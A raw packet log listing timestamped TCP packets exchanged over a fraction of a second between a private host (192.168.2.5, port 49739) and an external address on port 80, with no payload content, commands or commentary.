Dec 18, 2024 19:08:53.224772930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.226973057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.227041006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.227284908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.229110003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.229155064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.229427099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.229468107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.231336117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.231514931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.231565952 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.233572006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.233623981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.233916998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.233957052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.235805988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.235850096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.236505032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.237982035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.238034964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.238090038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.238127947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.240150928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.240537882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.240592003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.242537975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.243256092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.243316889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.244628906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.244679928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.244965076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.245008945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.246906996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.246980906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.247431993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.247478008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.248996973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.249720097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.249778032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.251260996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.251576900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.251627922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.253427982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.253635883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.253700972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.253747940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.255685091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.255728006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.255783081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.257873058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.257937908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.257961988 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.258004904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.259984970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.260051012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.260077000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.260121107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.262130976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.262177944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.262854099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.262901068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.264309883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.264384985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.264414072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.264491081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.266506910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.266560078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.267267942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.267364025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.268670082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.268804073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.268836975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.268836975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.270916939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.270967960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.270989895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.271034002 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.273077965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.273148060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.273888111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.273937941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.275201082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.275245905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.276082039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.276123047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.277476072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.277566910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.278320074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.278438091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.279565096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.279608011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.279898882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.279953003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.281776905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.281836033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.281862974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.281900883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.283991098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.284044027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.284071922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.284111977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.286055088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.286104918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.286462069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.286501884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.288292885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.288378954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.288384914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.288451910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.290432930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.290477991 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.290612936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.290652037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.292582989 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.292669058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.292706966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.292769909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.294728041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.294873953 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.294923067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.296912909 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.296962976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.297429085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.299151897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.299195051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.299505949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.301361084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.301402092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.301605940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.301647902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.303452015 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.303632975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.303685904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.305763006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.305814028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.305844069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.305931091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.307811022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.307879925 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.308063030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.308109045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.310050964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.310110092 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.310281038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.310327053 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.312156916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.312199116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.312352896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.312403917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.314338923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.314529896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.314542055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.314829111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.316705942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.316761971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.317049980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.317095041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.318727970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.318782091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.318797112 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.318837881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.320889950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.321001053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.321065903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.323156118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.323210001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.323225021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.325207949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.325268030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.325438023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.325483084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.327415943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.327533007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.327586889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.329598904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.329668045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.329883099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.329927921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.331806898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.331849098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.331862926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.331881046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.334042072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.334054947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.334114075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.336304903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.336899996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.337013006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.337063074 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.338295937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.338452101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.338501930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.340462923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.340509892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.340852976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.340914965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.342719078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.342767954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.342778921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.342818022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.344892025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.345077038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.345128059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.347306967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.347434998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.347486019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.349246025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.349318027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.349428892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.350302935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.351427078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.351474047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.351494074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.351547956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.353523016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.353579044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.354489088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.354532003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.355696917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.355710030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.355739117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.355756998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.357846022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.358133078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.358186960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.360116005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.360234976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.360290051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.362304926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.362850904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.362907887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.364360094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.364417076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.364686966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.364725113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.366576910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.366879940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.366904974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.366930962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.368772030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.368892908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.368937016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.370953083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.371006012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.371041059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.371078968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.373111010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.373347998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.373399019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.375262976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.375319958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.375375986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.377468109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.377582073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.377592087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.377652884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.379667044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.379729033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.379729986 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.379769087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.381808996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.381983042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.382054090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.382092953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.383943081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.383991003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.384047985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.384085894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.386153936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.386198044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.386235952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.386347055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.388448000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.388494015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.388593912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.388641119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.390623093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.390728951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.390753031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.390793085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.392705917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.392750978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.392867088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.392939091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.394908905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.394948006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.395004034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.395042896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.397044897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.397085905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.397150993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.397190094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.399204016 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.399251938 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.399544001 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.399588108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.401372910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.401576042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.401803017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.401876926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.403553963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.403609037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.404226065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.404287100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.405810118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.405853033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.405929089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.405965090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.408246994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.408292055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.409276962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.409395933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.410218954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.410263062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.410382032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.410434008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.412522078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.412590027 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.413270950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.413414001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.414916992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.414963007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.415473938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.415518045 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.416687012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.416742086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.416928053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.416960955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.418880939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.419027090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.419317007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.419373035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.420973063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.421122074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.421134949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.421156883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.423129082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.423176050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:53.423538923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:53.423583984 CET	49739	80	192.168.2.5	31.41.244.11
